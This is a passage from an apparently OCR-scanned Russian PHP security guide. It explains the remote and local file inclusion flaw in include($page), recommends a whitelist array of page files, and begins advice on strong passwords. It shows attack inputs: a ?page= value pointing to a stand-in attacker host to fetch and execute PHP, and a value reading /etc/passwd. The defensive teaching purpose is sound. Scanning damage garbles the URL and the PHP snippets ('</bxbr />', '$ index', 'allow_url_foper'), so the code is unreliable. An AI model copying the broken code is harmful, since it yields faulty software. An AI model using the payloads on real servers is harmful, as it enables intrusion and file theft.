Коварство include
Многие начинающие программисты допускают ошибку, создавая файл шаблона с верхним и нижним колонтитулами для веб-сайта и еще один файл с содержимым страницы. Содержимое включается в шаблон путем передачи имени страницы в URL. Например:
<html> <head>
<title>My site</title> </head> <body>
<b>Welcome to my site</bxbr /> <?php include($page); ?> </body> </html>
Затем создаются ссылки типа script. php?page=main. html. Поступать так очень опасно, потому что этот прием уязвим для целого ряда атак.
Если в файле php. ini для allow_url_foper задано значение on, то атакующий может выполнить на сервере произвольный код РНР, вызвав script php со строкой запроса ?page=http: //http://www.attackers-sever.com/code.txtB"> www.attackers-sever.com/code.txtB результате РНР запросит code txt с сервера атакующего, включит его в страницу и выполнит. Это одна из главных причин, по которым allow_url_fopen надо устанавливать в off, если нет действительной необходимости в обратном. Другая атака, которую разрешает этот сценарий, заключается в установке для переменной $раде значения /etc/passwd, что приведет к посылке файла /etc/passwd атакующему. Лучший способ защиты - не пользоваться таким приемом. Лучше присвойте номер каждой странице сайта и создайте массив с именами файлов страниц, индексированный по их номерам. Включайте $ра- ges[$index], как показано ниже:
<?php
$pages = array(1 => "main.html", 2 => "news.html"); if(($index < 1) or ($index > 2)) $ index = 1;
?>
<html> <head>
<title>My site</title.> </head> <body>
<B>Welcome to my site</b><br /> <?php Include $pages[$index]; ?> </body> </html>
Этот сценарий вызывается со строкой запроса ?index=1 для доступа к ma-
html или ?index=2 для доступа к news. html.
Некоторые советы
• Выбор надежных паролей
Очень важно выбирать пароли так, чтобы их нельзя было угадать. Часто можно видеть в кино, как взламывают компьютер, угадав используемый пароль. Такое случается и в реальной жизни, если пароль легко угадать и кто-нибудь с помощью метода «грубой силы» проверяет все слова из словаря, пока не найдет пароль. Хороший пароль, т. е. такой, который трудно угадать, должен состоять из произвольной смеси букв, цифр и знаков пунктуации. Но как запомнить такой пароль? Если записывать пароли, они снова становятся незащищенными.